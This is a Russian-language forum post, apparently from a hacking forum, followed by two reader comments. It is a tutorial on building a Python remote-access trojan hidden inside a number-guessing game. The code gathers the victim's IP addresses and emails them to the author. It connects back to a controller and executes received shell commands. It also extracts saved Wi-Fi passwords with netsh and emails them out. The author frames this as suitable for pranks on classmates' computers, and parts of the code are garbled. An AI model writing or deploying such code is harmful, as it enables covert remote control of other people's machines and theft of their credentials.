В этой теме я расскажу, как написать на Python простейший троян с удаленным доступом, а для большей скрытности мы встроим его в игру. Конечно, приведенные в теме скрипты никак не годятся для нанесения реального вреда, обфускации в них нет, принципы работы просты как палка, а вредоносные функции отсутствуют. Тем не менее при некоторой смекалке их возможно использовать для несложных пакостей — например, вырубить чей‑нибудь компьютер в классе информатики. ТЕОРИЯ Итак, что такое троян? Вирус — это программа, главная задача которой — самокопирование. Червь активно распространяется по сети (типичный пример — «Петя» и WannaCry), а троян — скрытая вредоносная программа, которая маскируется под «хороший» софт. Логика подобного заражения в том, что пользователь сам скачает себе вредонос (например, под видом крякнутой программы), сам отключит защитные механизмы (ведь программа выглядит хорошей) и захочет оставить надолго. Но мы‑то знаем, что бесплатный сыр бывает только в мышеловке, и сегодня научимся очень просто начинять тот самый сыр чем‑то не вполне ожидаемым. Ахтунг! Вся информация предоставлена исключительно в ознакомительных целях. Тс не несет ответственности за любой возможный вред, причиненный материалами данной темы. Несанкционированный доступ к информации и нарушение работы систем могут преследоваться по закону. Помни об этом. АЙ ПИ Сначала нам (то есть нашему трояну) нужно определиться, где он очутился. Важная часть информации — IP-адрес, по которому с зараженным пк можно будет соединиться. Начнем писать: import socket from requests import get #Обе библиотеки не поставляются с Python, поэтому, если они у тебя отсутствуют, их нужно установить командой pip (если вы даже это не умеете то чекните в Гугле краткий тутор по питону) pip install socket pip install requests Python import socket from requests import get #Обе библиотеки не поставляются с Python, поэтому, если они у тебя отсутствуют, их нужно установить командой pip (если вы даже это не умеете то чекните в Гугле краткий тутор по питону) pip install socket pip install requests Код получения внешнего и внутреннего адресов будет таким. Обрати внимание, что, если у жертвы несколько сетевых интерфейсов (например, Wi-Fi и Ethernet одновременно), этот код может вести себя неправильно. # Определяем имя устройства в сети hostname = socket.gethostname() # Определяем локальный (внутри сети) IP-адрес local_ip = socket.gethostbyname(hostname) # Определяем глобальный (публичный / в интернете) IP-адрес public_ip = get('http://api.ipify.org').text Python # Определяем имя устройства в сети hostname = socket.gethostname() # Определяем локальный (внутри сети) IP-адрес local_ip = socket.gethostbyname(hostname) # Определяем глобальный (публичный / в интернете) IP-адрес public_ip = get('http://api.ipify.org').text Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все немного сложнее. Я выбрал сайт api.ipify.org, так как на выходе нам выдается только одна строка — наш внешний IP. Из связки публичный + локальный IP мы получим почти точный адрес устройства. Вывести информацию еще проще: print(f'Хост: {hostname}') print(f'Локальный IP: {local_ip}') print(f'Публичный IP: {public_ip}') Python print(f'Хост: {hostname}') print(f'Локальный IP: {local_ip}') print(f'Публичный IP: {public_ip}') Никогда не встречал конструкции типа print(f'{}')? Буква f означает форматированные строковые литералы. Простыми словами — программные вставки прямо в строку. Готовый код: import socket from requests import get hostname = socket.gethostname() local_ip = socket.gethostbyname(hostname) public_ip = get('http://api.ipify.org').text print(f'Хост: {hostname}') print(f'Локальный IP: {local_ip}') print(f'Публичный IP: {public_ip}') Python import socket from requests import get hostname = socket.gethostname() local_ip = socket.gethostbyname(hostname) public_ip = get('http://api.ipify.org').text print(f'Хост: {hostname}') print(f'Локальный IP: {local_ip}') print(f'Публичный IP: {public_ip}') Запустив этот скрипт, мы сможем определить IP-адрес нашего (или чужого) компьютера. БЭККОННЕКТ ПО ПОЧТЕ Теперь напишем скрипт, который будет присылать нам письмо. Импорт новых библиотек (обе нужно предварительно поставить через pip install): import smtplib as smtp from getpass import getpass Python import smtplib as smtp from getpass import getpass Пишем базовую информацию о себе: # Почта, с которой будет отправлено письмо email = 'barrich@yandex.ru' # Пароль от нее (вместо ***) password = '***' # Почта, на которую отправляем письмо dest_email = 'demo@ya.ru' # Тема письма subject = 'IP' # Текст письма email_text = 'TEXT' Python # Почта, с которой будет отправлено письмо email = 'barrich@yandex.ru' # Пароль от нее (вместо ***) password = '***' # Почта, на которую отправляем письмо dest_email = 'demo@ya.ru' # Тема письма subject = 'IP' # Текст письма email_text = 'TEXT' Дальше сформируем письмо: message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text) Последний штрих — настроить подключение к почтовому сервису. Я пользуюсь Яндекс.Почтой, поэтому настройки выставлял для нее. server = smtp.SMTP_SSL('smtp.yandex.com') # SMTP-сервер Яндекса server.set_debuglevel(1) # Минимизируем вывод ошибок (выводим только фатальные ошибки) server.ehlo(email) # Отправляем hello-пакет на сервер server.login(email, password) # Заходим на почту, с которой будем отправлять письмо server.auth_plain() # Авторизуемся server.sendmail(email, dest_email, message) # Вводим данные для отправки (адреса свой и получателя и само сообщение) server.quit() # Отключаемся от сервера Python server = smtp.SMTP_SSL('smtp.yandex.com') # SMTP-сервер Яндекса server.set_debuglevel(1) # Минимизируем вывод ошибок (выводим только фатальные ошибки) server.ehlo(email) # Отправляем hello-пакет на сервер server.login(email, password) # Заходим на почту, с которой будем отправлять письмо server.auth_plain() # Авторизуемся server.sendmail(email, dest_email, message) # Вводим данные для отправки (адреса свой и получателя и само сообщение) server.quit() # Отключаемся от сервера В строке server.ehlo(email) мы используем команду EHLO. Большинство серверов SMTP поддерживают ESMTP и EHLO. Если сервер, к которому ты пытаешься подключиться, не поддерживает EHLO, можно использовать HELO. Полный код этой части трояна: import smtplib as smtpimport socket from getpass import getpass from requests import get hostname = socket.gethostname() local_ip = socket.gethostbyname(hostname) public_ip = get('http://api.ipify.org').text email = 'barrich@yandex.ru' password = '***' dest_email = 'demo@ya.ru' subject = 'IP' email_text = (f'Host: {hostname}\nLocal IP: {local_ip}\nPublic IP: {public_ip}') message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text) server = smtp.SMTP_SSL('smtp.yandex.com') server.set_debuglevel(1) server.ehlo(email) server.login(email, password) server.auth_plain() server.sendmail(email, dest_email, message) server.quit() Python import smtplib as smtpimport socket from getpass import getpass from requests import get hostname = socket.gethostname() local_ip = socket.gethostbyname(hostname) public_ip = get('http://api.ipify.org').text email = 'barrich@yandex.ru' password = '***' dest_email = 'demo@ya.ru' subject = 'IP' email_text = (f'Host: {hostname}\nLocal IP: {local_ip}\nPublic IP: {public_ip}') message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text) server = smtp.SMTP_SSL('smtp.yandex.com') server.set_debuglevel(1) server.ehlo(email) server.login(email, password) server.auth_plain() server.sendmail(email, dest_email, message) server.quit() Запустив этот скрипт, получаем письмо. На VT уже пишет что это троян ) ТРОЯН По задумке, троян представляет собой клиент‑серверное приложение с клиентом на пк атакуемого и сервером на запускающем пк. Должен быть реализован максимальный удаленный доступ к системе. Как обычно, начнем с библиотек: import random import socket import threading import os Python import random import socket import threading import os Для начала напишем игру «Угадай число». Тут все крайне просто, поэтому задерживаться долго не буду. # Создаем функцию игры def game(): # Берем случайное число от 0 до 1000 number = random.randint(0, 1000) # Счетчик попыток tries = 1 # Флаг завершения игры done = False # Пока игра не закончена, просим ввести новое число while not done: guess = input('Введите число: ') # Если ввели число if guess.isdigit(): # Конвертируем его в целое guess = int(guess) # Проверяем, совпало ли оно с загаданным; если да, опускаем флаг и пишем сообщение о победе if guess == number: done = True print(f'Ты победил! Я загадал {guess}. Ты использовал {tries} попыток.') # Если же мы не угадали, прибавляем попытку и проверяем число на больше/меньше else: tries += 1 if guess > number: print('Загаданное число меньше!') else: print('Загаданное число больше!') # Если ввели не число — выводим сообщение об ошибке и просим ввести число заново else: print('Это не число от 0 до 1000!') Python # Создаем функцию игры def game(): # Берем случайное число от 0 до 1000 number = random.randint(0, 1000) # Счетчик попыток tries = 1 # Флаг завершения игры done = False # Пока игра не закончена, просим ввести новое число while not done: guess = input('Введите число: ') # Если ввели число if guess.isdigit(): # Конвертируем его в целое guess = int(guess) # Проверяем, совпало ли оно с загаданным; если да, опускаем флаг и пишем сообщение о победе if guess == number: done = True print(f'Ты победил! Я загадал {guess}. Ты использовал {tries} попыток.') # Если же мы не угадали, прибавляем попытку и проверяем число на больше/меньше else: tries += 1 if guess > number: print('Загаданное число меньше!') else: print('Загаданное число больше!') # Если ввели не число — выводим сообщение об ошибке и просим ввести число заново else: print('Это не число от 0 до 1000!') Код трояна : [CODE=python] # Создаем функцию трояна def trojan(): # IP-адрес атакуемого HOST = '192.168.2.112' # Порт, по которому мы работаем PORT = 9090 [FONT=inherit][COLOR=inherit] # Создаем эхо-сервер[/COLOR][/FONT] client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((HOST, PORT)) while True: # Вводим команду серверу server_command = client.recv(1024).decode('cp866') # Если команда совпала с ключевым словом 'cmdon', запускаем режим работы с терминалом if server_command == 'cmdon': cmd_mode = True # Отправляем информацию на сервер client.send('Получен доступ к терминалу'.encode('cp866')) continue # Если команда совпала с ключевым словом 'cmdoff', выходим из режима работы с терминалом if server_command == 'cmdoff': cmd_mode = False # Если запущен режим работы с терминалом, вводим команду в терминал через сервер if cmd_mode: os.popen(server_command) # Если же режим работы с терминалом выключен — можно вводить любые команды else: if server_command == 'hello': print('Hello World!') # Если команда дошла до клиента — выслать ответ client.send(f'{server_command} успешно отправлена!'.encode('cp866')) [/CODE]Сначала нужно разобраться, что такое сокет и с чем его едят. Сокет простым языком — это условная вилка или розетка для программ. Существуют клиентские и серверные сокеты: серверный прослушивает определенный порт (розетка), а клиентский подключается к серверу (вилка). После того как установлено соединение, начинается обмен данными. Итак, строка client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) создает эхо‑сервер (отправили запрос — получили ответ). AF_INET означает работу с IPv4-адресацией, а SOCK_STREAM указывает на то, что мы используем TCP-подключение вместо UDP, где пакет посылается в сеть и далее не отслеживается. Строка client.connect((HOST, PORT)) указывает IP-адрес хоста и порт, по которым будет производиться подключение, и сразу подключается. Функция client.recv(1024) принимает данные из сокета и является так называемым «блокирующим вызовом». Смысл такого вызова в том, что, пока команда не передастся или не будет отвергнута другой стороной, вызов будет продолжать выполняться. 1024 — это количество задействованных байтов под буфер приема. Нельзя будет принять больше 1024 байт (1 Кбайт) за один раз, но нам это и не нужно: часто ты руками вводишь в консоль больше 1000 символов? Пытаться многократно увеличить размер буфера не нужно — это затратно и бесполезно, так как нужен большой буфер примерно раз в никогда. Команда decode('cp866') декодирует полученный байтовый буфер в текстовую строку согласно заданной кодировке (у нас 866). Но почему именно cp866? Зайдем в командную строку и введем команду chcp. Кодировка по умолчанию для русскоговорящих устройств — 866, где кириллица добавлена в латиницу. В англоязычных версиях системы используется обычный Unicode, то есть utf-8 в Python. Мы же говорим на русском языке, так что поддерживать его нам просто необходимо. ВАЙ ФАЙ Задача — создать скрипт, который из командной строки узнает все пароли от доступных сетей Wi-Fi. Приступаем. Импорт библиотек: [CODE=code]import subprocess import time[/CODE]Модуль subprocess нужен для создания новых процессов и соединения c потоками стандартного ввода‑вывода, а еще для получения кодов возврата от этих процессов. Итак, скрипт для извлечения паролей Wi-Fi: [CODE=code]# Создаем запрос в командной строке netsh wlan show profiles, декодируя его по кодировке в самом ядре data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('cp866').split('\n') # Создаем список всех названий всех профилей сети (имена сетей) Wi-Fis = [line.split(':')[1][1:-1] for line in data if "Все профили пользователей" in line] # Для каждого имени... for Wi-Fi in Wi-Fis: # ...вводим запрос netsh wlan show profile [ИМЯ_Сети] key=clear results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', Wi-Fi, 'key=clear']).decode('cp866').split('\n') # Забираем ключ results = [line.split(':')[1][1:-1] for line in results if "Содержимое ключа" in line] # Пытаемся его вывести в командной строке, отсекая все ошибки try: print(f'Имя сети: {Wi-Fi}, Пароль: {results[0]}') except IndexError: print(f'Имя сети: {Wi-Fi}, Пароль не найден!')[/CODE]Введя команду netsh wlan show profiles в командной строке, мы получим следующее. Если распарсить вывод выше и подставить имя сети в команду netsh wlan show profile [имя сети] key=clear, результат будет как на картинке. Его можно разобрать и вытащить пароль от сети. Но есть одна проблема: наша изначальная задумка была забрать пароли себе, а не показывать их пользователю. Исправим же это. Допишем еще один вариант команды в скрипт, где обрабатываем наши команды из сети. [CODE=code]if server_command == 'Wi-Fi': data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('cp866').split('\n') Wi-Fis = [line.split(':')[1][1:-1] for line in data if "Все профили пользователей" in line] for Wi-Fi in Wi-Fis: results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', Wi-Fi, 'key=clear']).decode('cp866').split('\n') results = [line.split(':')[1][1:-1] for line in results if "Содержимое ключа" in line] try: email = 'barrich@yandex.ru' password = '***' dest_email = 'demo@ya.ru' subject = 'Wi-Fi' email_text = (f'Name: {Wi-Fi}, Password: {results[0]}') message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text) server = smtp.SMTP_SSL('smtp.yandex.com') server.set_debuglevel(1) server.ehlo(email) server.login(email, password) server.auth_plain() server.sendmail(email, dest_email, message) server.quit() except IndexError: email = 'barrich@yandex.ru' password = '***' dest_email = 'demo@ys.ru' subject = 'Wi-Fi' email_text = (f'Name: {Wi-Fi}, Password not found!') message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text) server = smtp.SMTP_SSL('smtp.yandex.com') server.set_debuglevel(1) server.ehlo(email) server.login(email, password) server.auth_plain() ser ver.sendmail(email, dest_email, message) server.quit()[/CODE] ЗАКЛЮЧЕНИЕ Троян настолько прост, что его никак нельзя назвать боевым. Тем не менее он полезен для изучения основ языка Python и понимания алгоритмов работы более сложных вредоносных программ. Фуууух я потратил на тему где то часа 4
Информативно для новичков и начинающих пайтон программистов. Но я до сих пор не уверен что на пайтоне можно написать что-либо стоющее которые по конкурирует с C# ратками и С++ ратками. Но за старания
А если у человека нет белого айпишники? Все не будет работать вирус? Да и зачем в 23 году использовать почту, если есть тг. Статья ради статьи имхо